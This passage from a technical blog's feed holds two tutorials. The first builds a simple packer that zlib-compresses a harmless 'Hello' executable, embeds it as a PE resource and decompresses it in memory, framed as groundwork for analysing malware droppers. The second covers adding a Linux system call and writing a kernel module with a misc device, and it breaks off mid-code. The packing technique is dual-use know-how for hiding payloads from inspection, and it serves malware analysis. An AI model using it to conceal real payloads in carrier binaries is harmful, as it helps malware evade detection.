<li>The mingw cross-compiler and <code>windres</code> (the <code>gcc-mingw-w64-x86-64</code> package on Ubuntu 20.04).</li>
<li>The <code>zlib1g-dev</code> package.</li>
<li><code>readpe</code> (pev) to inspect PE sections.</li>
<li>A text editor.</li>
</ul>
<p>Unlike kernel work, nothing here puts your system at risk: it all compiles and runs as ordinary user-land code.</p>
<h2 id="vocabulary">Vocabulary</h2>
<p>A few terms are used precisely throughout:</p>
<ul>
<li><strong>Binary</strong>: a compiled object, such as an executable or a library.</li>
<li><strong>Payload</strong>: a piece of code or data necessary and sufficient to carry out some action inside a process, often malicious.</li>
<li><strong>Packing / unpacking</strong>: respectively, encrypting, compressing, or hiding a binary or payload, and the reverse, decrypting, decompressing, or revealing it.</li>
<li><strong>Packer / unpacker</strong>: the software (or the act) that performs packing and unpacking.</li>
</ul>
<h2 id="how-the-payload-is-hidden">How the payload is hidden</h2>
<p>Some packers and malware families hide secret code inside an executable that looks harmless at a glance. One way to do this is to store a payload, or an entire second executable, directly in the resource section (<code>.rsrc</code>) of the carrier binary, usually compressed and often encrypted. When the carrier runs, that hidden binary is unpacked in memory and used in the rest of the unpacking chain.</p>
<p>To recover such a payload we first need to understand how it was placed there. So we build the packing side ourselves: hide a small binary inside a carrier&rsquo;s resources, then retrieve and decompress it in memory. This is one method among many; real samples vary.</p>
<h3 id="the-payload-to-hide">The payload to hide</h3>
<p>The hidden binary is deliberately trivial. What it does is irrelevant; what matters is how it is concealed and recovered. So it is just a program that prints <code>Hello!</code>.</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;

int main(void)
{
    printf(&quot;Hello !\n&quot;);

    return 0;
}
</code></pre>
<p>We compile it as a PE32+ executable with mingw:</p>
<pre><code>$ x86_64-w64-mingw32-gcc hidden.c -o hidden.exe
$ file hidden.exe
hidden.exe: PE32+ executable (console) x86-64, for MS Windows
</code></pre>
<h3 id="compressing-the-payload">Compressing the payload</h3>
<p>Before embedding it, the packer compresses the binary. Here we use zlib&rsquo;s <code>compress2()</code> at maximum level. The program below reads a file, compresses it, and writes the result to <code>compressed_binary</code>.</p>
<pre><code class="language-c">#include &lt;zlib.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;fcntl.h&gt;
#include &lt;stdio.h&gt;

int main(int ac, char **av)
{
    if (ac != 3) {
        printf(&quot;Usage: %s &lt;src_file&gt; &lt;size_of_file&gt;\n&quot;, av[0]);
        return EXIT_FAILURE;
    }

    /* input */
    char *clear_filename = av[1];
    int src_size = atoi(av[2]);
    char *clear = (char *)malloc(sizeof(char) * src_size);

    /* output */
    char *compressed = (char *)malloc(sizeof(char) * src_size);
    uLongf dst_size;

    /* reading and compression */
    int fd_rd = open(clear_filename, O_RDONLY);
    read(fd_rd, clear, src_size);
    close(fd_rd);
    compress2((Bytef *)compressed, &amp;dst_size, (Bytef *)clear, (uLong)src_size, 9);

    /* writing */
    int fd_wr = open(&quot;compressed_binary&quot;, O_WRONLY | O_CREAT, 0444);
    write(fd_wr, compressed, dst_size);
    close(fd_wr);

    return EXIT_SUCCESS;
}
</code></pre>
<p>Reading it through: the program takes the file name and its size in bytes as arguments. It allocates a <code>clear</code> buffer for the source data and a <code>compressed</code> buffer for the output, with <code>dst_size</code> receiving the final compressed length. It reads the source with <code>open()</code> and <code>read()</code>, then calls zlib&rsquo;s <code>compress2()</code>, whose prototype is:</p>
<pre><code class="language-c">int compress2(Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen, int level);
</code></pre>
<ul>
<li><code>dest</code>: where the compressed data is written.</li>
<li><code>destLen</code>: where the compressed size in bytes is written.</li>
<li><code>source</code>: where the data to compress is read from.</li>
<li><code>level</code>: compression level, <code>9</code> being the maximum.</li>
</ul>
<p>Finally it writes the compressed bytes to <code>compressed_binary</code>. Compile against zlib (<code>-lz</code>) and run it:</p>
<pre><code>gcc compress.c -o compress -lz

ls -l hidden.exe
# -rwxrwxr-x 1 ech0 ech0 316853 avril 13 23:55 hidden.exe

./compress hidden.exe 316853

file compressed_binary
# compressed_binary: zlib compressed data
</code></pre>
<p>The payload compressed cleanly, shrinking from 316853 to 89766 bytes. Size reduction is a side effect; the real goal is to stash the binary in the resources.</p>
<div class="admonition note">
<p>In a real sample there would usually be an additional encryption layer at this point, for example a one-time-pad mask also stored in the resources. For this walkthrough we stay with compression alone, but expect to peel off a cipher in practice.</p>
</div>
<h3 id="embedding-it-as-a-resource">Embedding it as a resource</h3>
<p>With the compressed payload ready, we describe it to <code>windres</code> with a resource (<code>.rc</code>) file:</p>
<pre><code>IDR_RCDATA0 RCDATA compressed_binary
</code></pre>
<p>The syntax is straightforward:</p>
<ul>
<li><code>IDR_RCDATA0</code>: the resource name.</li>
<li><code>RCDATA</code>: the resource type (raw data).</li>
<li><code>compressed_binary</code>: the file to include as a resource.</li>
</ul>
<p>Then <code>windres</code> turns the <code>.rc</code> file into a COFF object (a Windows object file) we can link in:</p>
<pre><code>x86_64-w64-mingw32-windres compressed_binary.rc -O coff -o compressed_binary.rc.o
</code></pre>
<p>At this point the working directory looks like this:</p>
<pre><code>.
├── compress
├── compress.c
├── compressed_binary
├── compressed_binary.rc
├── compressed_binary.rc.o
├── hidden.c
└── hidden.exe

0 directories, 7 files
</code></pre>
<p>The resource is ready. Everything from here is the recovery side: the code that finds this embedded resource, pulls it out, and decompresses it in memory.</p>
<h2 id="recovering-the-payload">Recovering the payload</h2>
<p>The unpacker is itself a PE32+ binary, since this is the code that runs on the target and recovers the dropped payload from its own resources.</p>
<h3 id="finding-and-extracting-the-resource">Finding and extracting the resource</h3>
<p>Recovery uses three Windows API calls: <code>FindResourceA</code>, <code>LoadResource</code>, and <code>LockResource</code>. The Microsoft documentation covers them in full, so here is just the code that pulls a resource out of the binary&rsquo;s own <code>.rsrc</code> section:</p>
<pre><code class="language-c">#include &lt;windows.h&gt;

int main(void)
{
    HRSRC   hRes;
    HGLOBAL hResLoad;
    PUCHAR  Data;

    hRes = FindResourceA(NULL, &quot;IDR_RCDATA0&quot;, RT_RCDATA);
    hResLoad = LoadResource(NULL, hRes);
    Data = LockResource(hResLoad);
}
</code></pre>
<p>It compiles:</p>
<pre><code>x86_64-w64-mingw32-gcc depacker.c -o depacker.exe
</code></pre>
<p>But we have not yet linked our resource into this binary, so the lookup for <code>IDR_RCDATA0</code> can only fail. In fact, there is no <code>.rsrc</code> section in the binary at all:</p>
<pre><code>$ readpe -S depacker.exe | grep 'Name:'
        Name:                            .text
        Name:                            .data
        Name:                            .rdata
        Name:                            .pdata
        Name:                            .xdata
        Name:                            .bss
        Name:                            .idata
        Name:                            .CRT
        Name:                            .tls
</code></pre>
<p>We fix that by linking the resource object file into the build:</p>
<pre><code>$ x86_64-w64-mingw32-gcc depacker.c compressed_binary.rc.o -o depacker.exe
$ readpe -S depacker.exe | grep 'Name:'
        Name:                            .text
        Name:                            .data
        Name:                            .rdata
        Name:                            .pdata
        Name:                            .xdata
        Name:                            .bss
        Name:                            .idata
        Name:                            .CRT
        Name:                            .tls
        Name:                            .rsrc
</code></pre>
<p>Now <code>.rsrc</code> is present, carrying our compressed <code>hidden.exe</code>. The unpacker can extract the resource into memory. What remains is to decompress it.</p>
<h3 id="decompressing-in-memory">Decompressing in memory</h3>
<p>To unpack the payload we need four things: the compressed data, the size of the compressed data, the size of the decompressed data (to allocate the output buffer), and a decompression function. We have the data and the function. The two sizes have to be supplied to the program; here we simply hard-code them.</p>
<div class="admonition tip">
<p>Hard-coding the sizes is a shortcut for the walkthrough. A real packer would carry them the same way it carries the payload, for instance in a second resource (<code>IDR_RCDATA1</code>) that the unpacker reads first. When analysing a sample, that is exactly the kind of companion resource worth looking for.</p>
</div>
<p>We also need zlib for Windows. There is no need for a Windows machine to build it: we cross-compile it with mingw on Linux.</p>
<pre><code>wget http://zlib.net/zlib-1.2.12.tar.gz
tar xf zlib-1.2.12.tar.gz
rm zlib-1.2.12.tar.gz
cd zlib-1.2.12

# Affect PREFIX = x86_64-w64-mingw32-
vim win32/Makefile.gcc

# Cross-Compilation of zlib via mingw
BINARY_PATH=/usr/x86_64-w64-mingw32/bin INCLUDE_PATH=/usr/x86_64-w64-mingw32/include LIBRARY_PATH=/usr/x86_64-w64-mingw32/lib make -f win32/Makefile.gcc
</code></pre>
<p>With zlib in hand, the final unpacker retrieves the resource and decompresses it in place:</p>
<pre><code class="language-c">#include &lt;windows.h&gt;
#include &quot;zlib.h&quot;

int main(void)
{
    HRSRC   hRes;
    HGLOBAL hResLoad;
    PUCHAR  Data;

    PUCHAR uncompressed;
    ULONG src_size = 89766; // Hard-coded size of compressed binary
    ULONG dst_size = 316853; // Hard-coded size of decompressed binary

    hRes = FindResourceA(NULL, &quot;IDR_RCDATA0&quot;, RT_RCDATA);
    hResLoad = LoadResource(NULL, hRes);
    Data = LockResource(hResLoad);

    uncompressed = (PUCHAR)malloc(sizeof(char) * (dst_size + 1));
    uncompress(uncompressed, &amp;dst_size, Data, src_size);
}
</code></pre>
<p>The <code>uncompress()</code> function mirrors the <code>compress2()</code> we used to pack the payload in the first place. We compile, pointing at our cross-compiled zlib with <code>-L</code>, <code>-lz</code>, and <code>-I</code>:</p>
<pre><code>x86_64-w64-mingw32-gcc depacker.c compressed_binary.rc.o -o depacker.exe -L./zlib-1.2.12/ -lz -I zlib-1.2.12/
</code></pre>
<p>The unpacker is complete: it locates the resource, extracts it, and decompresses the original <code>hidden.exe</code> back into memory. You can run it in a Windows environment to confirm.</p>
<h2 id="where-the-trail-leads-next">Where the trail leads next</h2>
<p>As written, the unpacker stops at &ldquo;in memory&rdquo;: it recovers the payload but never runs it. In a real sample that final step, getting the decompressed binary to execute, is the whole purpose, and it is called dropping (here, dropping from the resources), performed by a dropper. There are several ways to reach it: writing the payload to disk and launching it, mapping and running it directly in memory, DLL injection, process hollowing, and so on. Each of those is its own analysis problem.</p>
<p>Resource storage is also just one source among many. The same dropper pattern applies whether the hidden binary sits in the resources as it does here, in a separate section, split across several sections, or fetched over the network at runtime. The carrier changes; the shape of the technique does not. Recognise that shape, know where to look, and the payload stops hiding.</p>]]></description>
    </item>
    <item>
      <title>Two ways into ring 0: system calls and kernel modules</title>
      <link>https://sigreturn.com/blog/two-ways-into-ring-0/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/two-ways-into-ring-0/</guid>
      <pubDate>Tue, 05 Apr 2022 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>linux</category>
      <category>kernel</category>
      <category>syscall</category>
      <category>kernel-module</category>
      <category>c</category>
      <description><![CDATA[<p>A running Linux system is split in two. User-land code runs in ring 3, unprivileged and sandboxed away from the hardware. The kernel runs in ring 0, with full control over memory, devices, and every process on the machine. The boundary between them is deliberate and well guarded: ring 3 code cannot simply jump into ring 0 and start touching kernel memory.</p>
<p>So how does a process ever get privileged work done? It asks. Every time you open a file, send a packet, or fork a process, your code crosses that boundary in a controlled way, runs some kernel code on your behalf, and comes back with a result. The interesting question for anyone who works close to the kernel is the inverse one: how do you <em>extend</em> the kernel so it offers new privileged entry points of your own?</p>
<p>There are two answers, and they sit at opposite ends of the same axis.</p>
<ul>
<li>A <strong>system call</strong> is a <em>static</em> entry point. You write a function in ring 0, bake it into the kernel image, recompile the whole kernel, and boot into it. From then on the call is part of the operating system, addressable by a fixed number.</li>
<li>A <strong>kernel module</strong> is a <em>dynamic</em> entry point. You write ring 0 code, compile it on its own, and load it into a running kernel at runtime. No recompile, no reboot, and you can unload it just as easily.</li>
</ul>
<p>In this post we build both, with real code, and we watch them converge. By the end, our module will hand itself its own user/kernel boundary in <code>/dev</code> and answer reads and writes from user-land, which is exactly what a system call does natively. Two mechanisms, one boundary crossing.</p>
<h2 id="path-1-the-system-call">Path 1: the system call</h2>
<p>A system call (like <code>open</code>, <code>write</code>, or <code>read</code>) is nothing more than a function, or a series of functions, running in ring 0. We call it a <em>system call</em> specifically because it can be invoked from ring 3. So our plan is straightforward: write a function in the kernel, register it in the syscall table, recompile, boot, and call it from user-land.</p>
<p>Our example will take a process ID and return a structure full of information about that process: its name, state, stack pointer, birth time, children, parent, root, and working directory. The body of the function is not the point. The point is the wiring that turns an ordinary C function into a system call.</p>
<h3 id="preparing-the-environment">Preparing the environment</h3>
<p>To follow along you need a recent Linux kernel, the usual build tools (<code>gcc</code>, <code>make</code>), and a text editor. Because we are going to recompile the kernel and boot into it, do this on a virtual machine.</p>
<div class="admonition danger">
<p>Recompiling and replacing your kernel can leave a machine unbootable. Do not do this on a system you care about. Work inside a VM, and take a snapshot before you touch the bootloader so a broken boot costs you a rollback rather than a reinstall.</p>
</div>
<p>For this article we used an Ubuntu Server 20.04 VM with bridged networking, 4 GB of RAM, and SSH access. Any distribution and hypervisor will do, with minor differences from what is shown here.</p>
<p>Linux distributions ship kernel headers and object files but not the kernel source. Install it, unpack it, and step into the source tree. The version below is 5.4.0, which you can confirm with <code>uname -r</code>.</p>
<pre><code class="language-bash">sudo apt install linux-source
cd /usr/src/linux-source-5.4.0
sudo bunzip2 linux-source-5.4.0.tar.bz2
sudo tar xf linux-source-5.4.0.tar
cd linux-source-5.4.0/
</code></pre>
<p>We only need a configuration to build against. Generate a minimal default one. A minimal config keeps both the build time and the resulting image small, which is all we want for this exercise.</p>
<pre><code class="language-bash">sudo make defconfig
</code></pre>
<p>You will also need <code>flex</code>, <code>bison</code>, <code>libelf-dev</code>, and <code>libssl-dev</code> to compile the kernel later. Install them the usual way through APT.</p>
<div class="admonition warning">
<p>If you ever build on your native system instead of a VM, clone a fresh tree (<code>git clone git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git</code>) and check out the version matching your distribution rather than editing the kernel you are currently booted on. If your disk is encrypted with cryptsetup, enable <code>DM_CRYPT</code> (<code>make menuconfig</code>, &ldquo;Crypt target support&rdquo;) or you will not be able to unlock it after booting the new kernel.</p>
</div>
<h3 id="the-structure-to-return">The structure to return</h3>
<p>We start with the header, <code>infopid.h</code>. It declares the structure we will fill in the kernel and copy back to user-land. The comments document each field.</p>
<pre><code class="language-c">#ifndef INFOPID_H
#define INFOPID_H

#include &lt;linux/sched.h&gt;
#include &lt;linux/limits.h&gt;
#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;
#include &lt;linux/fs_struct.h&gt;
#include &lt;linux/slab.h&gt;

/*
 * pid: pid of process
 * name: name of the process
 * state: unrunnable, runnable, stopped
 * stack: pointer to the beginning of process's stack
 * age: birth time in nanoseconds
 * child: array of all child processes pid
 * ppid: parent process id
 * root: root path of process
 * pwd: working directory of process
 */

struct info_pid {
    pid_t pid;
    char name[TASK_COMM_LEN];
    long state;
    void *stack;
    uint64_t age;
    pid_t child[256];
    pid_t ppid;
    char root[PATH_MAX];
    char pwd[PATH_MAX];
};

#endif
</code></pre>
<h3 id="writing-the-call">Writing the call</h3>
<p>The function itself lives in <code>infopid.c</code>. Two details matter more than the rest. First, we define it with the <code>SYSCALL_DEFINE2</code> macro, where the <code>2</code> is the number of parameters. The kernel provides one of these macros per arity, and they take arguments as alternating type/name pairs separated by commas, which is why the signature looks unusual. Second, we never write to the user pointer directly: we build the structure in kernel memory and hand it across the boundary with <code>copy_to_user</code>, which is the only safe way for ring 0 to write into a ring 3 buffer.</p>
<pre><code class="language-c">#include &quot;infopid.h&quot;
#include &lt;linux/syscalls.h&gt;

SYSCALL_DEFINE2(infopid, struct info_pid *, ret_pid, int, pid) {
    struct task_struct *cur, *child;
    struct info_pid *new;
    struct path root, pwd;
    struct pid *spid;
    char *tmp, buffer[PATH_MAX] = {0};
    int i = 0;

    if (!(spid = find_get_pid(pid)))
    {
        return -ESRCH;
    }

    cur = pid_task(spid, PIDTYPE_PID);

    if (!cur) {
        return -ESRCH;
    }

    new = kmalloc(sizeof(struct info_pid), GFP_KERNEL);

    if (!new)
        return -ENOMEM;

    memset(new-&gt;child, 0, 256 * sizeof(pid_t));
    get_fs_root(cur-&gt;fs, &amp;root);
    get_fs_pwd(cur-&gt;fs, &amp;pwd);    
    get_task_comm(new-&gt;name, cur);
    new-&gt;pid = task_pid_nr(cur);
    new-&gt;state = cur-&gt;state;
    new-&gt;stack = cur-&gt;stack;
    new-&gt;age = cur-&gt;start_time;

    list_for_each_entry(child, &amp;cur-&gt;children, sibling) {
        if (i &gt; 255)
            goto out;
        new-&gt;child[i++] = child-&gt;pid;
    }

out:
    new-&gt;ppid = task_pid_nr(cur-&gt;parent);
    spin_lock(&amp;root.dentry-&gt;d_lock);
    tmp = dentry_path_raw(root.dentry, buffer, PATH_MAX);
    strcpy(new-&gt;root, tmp);
    spin_unlock(&amp;root.dentry-&gt;d_lock);

    spin_lock(&amp;pwd.dentry-&gt;d_lock);
    tmp = dentry_path_raw(pwd.dentry, buffer, PATH_MAX);
    strcpy(new-&gt;pwd, tmp);
    spin_unlock(&amp;pwd.dentry-&gt;d_lock);

    if (copy_to_user(ret_pid, new, sizeof(struct info_pid))) {
        kfree(new);
        return -ESRCH;
    }

    kfree(new);

    return 0;
}
</code></pre>
<p>We look the process up by PID, allocate our structure with <code>kmalloc</code>, fill it from the task&rsquo;s <code>task_struct</code>, walk the children list, resolve the root and working-directory paths under the appropriate locks, and copy the whole thing back to the caller. On any failure we return a negative errno, the convention every system call follows.</p>
<h3 id="registering-it-with-the-kernel">Registering it with the kernel</h3>
<p>A function in a <code>.c</code> file is invisible to the kernel until three files in the source tree know about it. This is the static wiring that a module never needs.</p>
<p>First, tell the top-level kernel <code>Makefile</code> to compile our directory by appending it to <code>core-y</code>:</p>
<pre><code>core-y += kernel/ certs/ mm/ fs/ ipc/ security/ crypto/ block/ infopid/
</code></pre>
<p>Then declare the prototype in <code>include/linux/syscalls.h</code>, alongside every other syscall prototype. Use your own absolute path to the header, not the one below:</p>
<pre><code class="language-c">/* Other declarations */
#include &quot;/usr/src/linux-source-5.4.0/linux-source-5.4.0/infopid/infopid.h&quot;
asmlinkage long sys_infopid(struct info_pid *, int);
</code></pre>
<p>Finally, give the call a number by adding it to the architecture&rsquo;s syscall table, <code>arch/x86/entry/syscalls/syscall_64.tbl</code>. Place it last, with the next free index, following the existing nomenclature:</p>
<pre><code># Index  Arch  Name     Entrypoint
  335    64    infopid  __x64_sys_infopid
</code></pre>
<p>That number, <code>335</code>, is the contract. It is how user-land will name the call, and it is frozen the moment we ship the kernel. Hold on to that thought, because it is the sharpest difference between this path and the next one.</p>
<p>Our directory holds three files at this point:</p>
<pre><code>$ tree infopid/
infopid/
├── Makefile
├── infopid.c
└── infopid.h

0 directories, 3 files
</code></pre>
<h3 id="compiling-and-booting">Compiling and booting</h3>
<p>With the call written and registered, build the entire kernel from the source root. Use <code>-j &lt;cores&gt;</code> to parallelise; this takes a while.</p>
<pre><code class="language-bash">sudo make
sudo make modules_install
sudo make install
</code></pre>
<p>After installation, make sure you will actually boot the new kernel. In our case the new build was version 5.4.174, which GRUB ranks above the stock 5.4.0-105 and boots automatically. If yours does not, expose the GRUB menu by editing <code>/etc/default/grub</code> so you can pick the entry, then run <code>sudo update-grub</code>.</p>
<pre><code>#GRUB_TIMEOUT_STYLE=hidden
GRUB_TIMEOUT=4
</code></pre>
<div class="admonition warning">
<p>With Secure Boot enabled in your firmware, a self-compiled kernel will not boot until it is signed. Signing is out of scope here; disable Secure Boot in the VM or sign the image yourself.</p>
</div>
<p>Reboot, and confirm you are on the new kernel:</p>
<pre><code class="language-bash">$ uname -r
5.4.174
</code></pre>
<h3 id="calling-it-from-user-land">Calling it from user-land</h3>
<p>There is no libc wrapper for a call we just invented, so we reach it through the generic <code>syscall()</code> function, passing our number <code>335</code> and the arguments. The program below fills our structure for a given PID (its own by default) and prints everything, walking up the parent chain recursively.</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;
#include &lt;sys/syscall.h&gt;
#include &lt;unistd.h&gt;
#include &lt;inttypes.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;

#define TASK_COMM_LEN 16
#define PATH_MAX 4096

struct info_pid {
    pid_t pid;
    char name[TASK_COMM_LEN];
    long state;
    void *stack;
    uint64_t age;
    pid_t child[256];
    pid_t ppid;
    char root[PATH_MAX];
    char pwd[PATH_MAX];
};

void print_parents(pid_t pid)
{
    struct info_pid new;
    static int index = 0;
    printf(&quot;\tParent %d : %d\n&quot;, index++, pid);

    if (!pid)
        return ;
    int ret = syscall(335, &amp;new, pid);
    if (ret) {
        printf(&quot;syscall failed...\n&quot;);
        perror(&quot;&quot;);
        exit(EXIT_FAILURE);
    }
    print_parents(new.ppid);
}

int main(int ac, char **av)
{
    pid_t pid;
    struct info_pid new;
    memset(&amp;new, 0, sizeof(new));
    new.age = 0;

    if (ac == 1)
        pid = getpid();
    else
        pid = atoi(av[1]);

    int ret = syscall(335, &amp;new, pid);
    if (ret) {
        printf(&quot;syscall failed...\n&quot;);
        perror(&quot;&quot;);
        return EXIT_FAILURE;
    }

    printf(&quot;Printing struct info_pid...\n&quot;);

    printf(&quot;PID       : %d\n&quot;, new.pid);
    printf(&quot;Name      : %s\n&quot;, new.name);
    printf(&quot;State     : %ld\n&quot;, new.state);
    printf(&quot;Stack     : %p\n&quot;, new.stack);
    printf(&quot;Birthtime : %ld\n&quot;, new.age);

    for (int j = 0; j &lt; 255; j++)
    {
        if (!new.child[j])
            break ;
        printf(&quot;\tChild %d  : %d\n&quot;, j, new.child[j]);
    }

    print_parents(new.ppid);

    printf(&quot;Root      : %s\n&quot;, new.root);
    printf(&quot;PWD       : %s\n&quot;, new.pwd);

    return EXIT_SUCCESS;
}
</code></pre>
<p>Compile and run it, once on itself and once on PID 1:</p>
<pre><code>$ gcc test_infopid.c -o test_infopid
$ ./test_infopid # With its own PID by default

Printing struct info_pid...
PID       : 1354
Name      : test_infopid
State     : 0
Stack     : 0xffffb76ac0750000
Birthtime : 1203877852032
    Parent 0 : 776
    Parent 1 : 775
    Parent 2 : 656
    Parent 3 : 551
    Parent 4 : 1
    Parent 5 : 0
Root      : /
PWD       : /home/ech0

$ ./test_infopid 1 # With PID 1

Printing struct info_pid...
PID       : 1
Name      : systemd
State     : 1
Stack     : 0xffffb76ac0010000
Birthtime : 15000000
    Child 0  : 290
    Child 1  : 317
    Child 2  : 500
    Child 3  : 509
    Child 4  : 511
    ...
    Child 18  : 659
    Parent 0 : 0
Root      : /
PWD       : /
</code></pre>
<p>The call works. We extended the kernel with a new privileged entry point and reached it from ring 3 by number. The price was steep, though: a full kernel rebuild, a reboot, and a call number that is now fixed forever. That cost is the whole reason the second path exists.</p>
<h2 id="path-2-the-kernel-module">Path 2: the kernel module</h2>
<p>A module (a <em>driver</em>, in Windows terms) is a piece of ring 0 code that can be loaded into and unloaded from a running kernel on demand. Your system is already full of them. List them with <code>lsmod</code>:</p>
<pre><code>$ lsmod
Module                  Size  Used by
rfcomm                 81920  4
cdc_mbim               20480  0
cdc_wdm                24576  1 cdc_mbim
cdc_ncm                45056  1 cdc_mbim
cdc_ether              20480  1 cdc_ncm
...
</code></pre>
<p>Touchpad, camera, microphone, KVM: all modules. Some of them also expose communication interfaces, often character devices under <code>/dev</code>, the way the KVM module exposes <code>/dev/kvm</code>. We are going to do the same: build a module, load it, and eventually talk to it through <code>/dev</code>.</p>
<p>Everything about this path contrasts with the previous one. No kernel recompile, no new boot, no editing of the source tree. Your default environment is already ready: if you can compile C, you can build a module.</p>
<div class="admonition warning">
<p>The system is (almost) never at risk here. The one real danger is a fault in ring 0 the kernel cannot recover from, which crashes the machine. If that happens, reboot and the module is gone. That alone is a reason to prototype modules in a VM too.</p>
</div>
<h3 id="a-minimal-module">A minimal module</h3>
<p>A single file is enough to start:</p>
<pre><code>$ tree my_module/
my_module/
└── my_module.c

0 directories, 1 file
</code></pre>
<pre><code class="language-c">#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;

MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;Sigreturn Labs&quot;);
MODULE_DESCRIPTION(&quot;Hello World module&quot;);

static int __init hello_init(void) {
    printk(KERN_INFO &quot;Hello World !\n&quot;);
    return 0;
}

static void __exit hello_cleanup(void) {
    printk(KERN_INFO &quot;Cleaning up module.\n&quot;);
}

module_init(hello_init);
module_exit(hello_cleanup);
</code></pre>
<p>Reading top to bottom: we include the kernel headers we need; the <code>MODULE_*</code> macros attach metadata (license, author, description); two functions tagged <code>__init</code> and <code>__exit</code> run when the module is loaded and unloaded; and <code>module_init</code> / <code>module_exit</code> register them with the kernel. For now both functions just print to the kernel log with <code>printk</code>.</p>
<p>Notice there is no syscall table, no <code>core-y</code>, no prototype to declare. The module announces its own entry points to the kernel through <code>module_init</code> and <code>module_exit</code>, at load time, rather than being wired into the kernel image ahead of time.</p>
<h3 id="compiling-and-loading">Compiling and loading</h3>
<p>Modules build against the running kernel&rsquo;s headers, so the Makefile delegates to the kernel build system rather than calling <code>gcc</code> directly:</p>
<pre><code class="language-makefile">FILE := &quot;my_module&quot;
obj-m += my_module.o

all:
    echo &quot;Compiling $(FILE)...&quot;
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:  
    echo &quot;Cleaning modules...&quot;
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
    rm -rf .$(FILE).ko.cmd .$(FILE).mod.o.cmd .$(FILE).o.cmd .cache.mk .tmp_versions $(FILE).ko $(FILE).o $(FILE).mod.c $(FILE).mod.o modules.order Module.symvers 2&gt;&amp;-
</code></pre>
<p>Build it:</p>
<pre><code class="language-bash">make
</code></pre>
<p>The compilation drops several files in the directory. The one that matters is <code>my_module.ko</code>, the kernel object we load with <code>insmod</code>:</p>
<pre><code class="language-bash">sudo insmod my_module.ko
</code></pre>
<div class="admonition warning">
<p>As with a self-compiled kernel, an unsigned module will not load under Secure Boot. Module signing is out of scope here.</p>
</div>
<p><code>dmesg</code> shows the string our init function printed:</p>
<pre><code>[309528.612844] Hello World !
</code></pre>
<p>Unload it with <code>rmmod</code> and watch the cleanup function fire:</p>
<pre><code>$ sudo rmmod my_module
[309551.667600] Cleaning up module.
</code></pre>
<p>That is the entire load/unload lifecycle, and it took no reboot and no kernel rebuild. We could stop here. But a module that only writes to the log is not talking to user-land yet, and that is where this path catches up with the first one.</p>
<h2 id="closing-the-loop-a-misc-device">Closing the loop: a misc device</h2>
<p>Our system call could be reached from user-land because the kernel exposed it through the syscall table. A module gets no such entry in the table. So we give it its own front door: a <em>misc device</em>, a simple character device that appears under <code>/dev</code> and routes reads and writes to functions we define. In other words, the module is about to build the same kind of user/kernel boundary that a syscall enjoys natively, only this time we build it by hand.</p>
<p>To keep the mechanism in focus, the behaviour stays trivial: a write stores exactly ten bytes in a static buffer, and a read returns them. It looks pointless, and it is exactly enough to expose every subtlety that matters.</p>
<h3 id="registering-the-device">Registering the device</h3>
<p>We declare the device structure as a static global:</p>
<pre><code class="language-c">static struct miscdevice my_dev;
</code></pre>
<p>In <code>hello_init</code> we fill a few fields and register it. A dynamic minor number lets the kernel assign one for us:</p>
<pre><code class="language-c">my_dev.minor = MISC_DYNAMIC_MINOR; // a dynamic minor number is requested
my_dev.name = &quot;my_module_misc&quot;; // name of the misc device
my_dev.fops = &amp;my_fops; // operations structure
ret = misc_register(&amp;my_dev); // registering the misc device
</code></pre>
<p>The <code>fops</code> field points at a <code>file_operations</code> structure, which is the heart of the interface: it tells the kernel which function to call for each operation on the device. We wire up read and write:</p>
<pre><code class="language-c">struct file_operations my_fops = {
    .read = hello_read,
    .write = hello_write
};
</code></pre>
<p>And we deregister the device when the module unloads, in <code>hello_cleanup</code>:</p>
<pre><code class="language-c">misc_deregister(&amp;my_dev);
</code></pre>
<p>This needs three more headers (<code>miscdevice.h</code>, <code>uaccess.h</code>, <code>fs.h</code>). The skeleton now looks like this, still missing the two operation functions:</p>
<pre><code class="language-c">#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;
#include &lt;linux/miscdevice.h&gt;
#include &lt;linux/uaccess.h&gt;
#include &lt;linux/fs.h&gt;

MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;Sigreturn Labs&quot;);
MODULE_DESCRIPTION(&quot;Hello World module&quot;);

static struct miscdevice my_dev;

struct file_operations my_fops = {
    .read = hello_read,
    .write = hello_write
};

static int __init hello_init(void) {
    int ret;

    printk(KERN_INFO &quot;Hello World !\n&quot;);

    my_dev.minor = MISC_DYNAMIC_MINOR;
    my_dev.name = &quot;my_module_misc&quot;;
    my_dev.fops = &amp;my_fops;
    ret = misc_register(&amp;my_dev);

    return ret;
}

static void __exit hello_cleanup(void) {
    printk(KERN_INFO &quot;Cleaning up module.\n&quot;);
    misc_deregister(&amp;my_dev);
}

module_init(hello_init);
module_exit(hello_cleanup);
</code></pre>
<h3 id="the-write-operation">The write operation</h3>
<pre><code class="language-c">static ssize_t hello_write(struct file *f, const char __user *s, size_t n, loff_t *o)
{
    int retval = -EINVAL;

    if (!f || !s)
        return -EFAULT;
    if (n != LEN)
        return -EINVAL;

    retval = copy_from_user(buf, s, LEN);

    if (retval)
        return -EFAULT;

    printk(KERN_INFO &quot;I have successfully written %s in buffer.&quot;, buf);

    return LEN;
}
</code></pre>
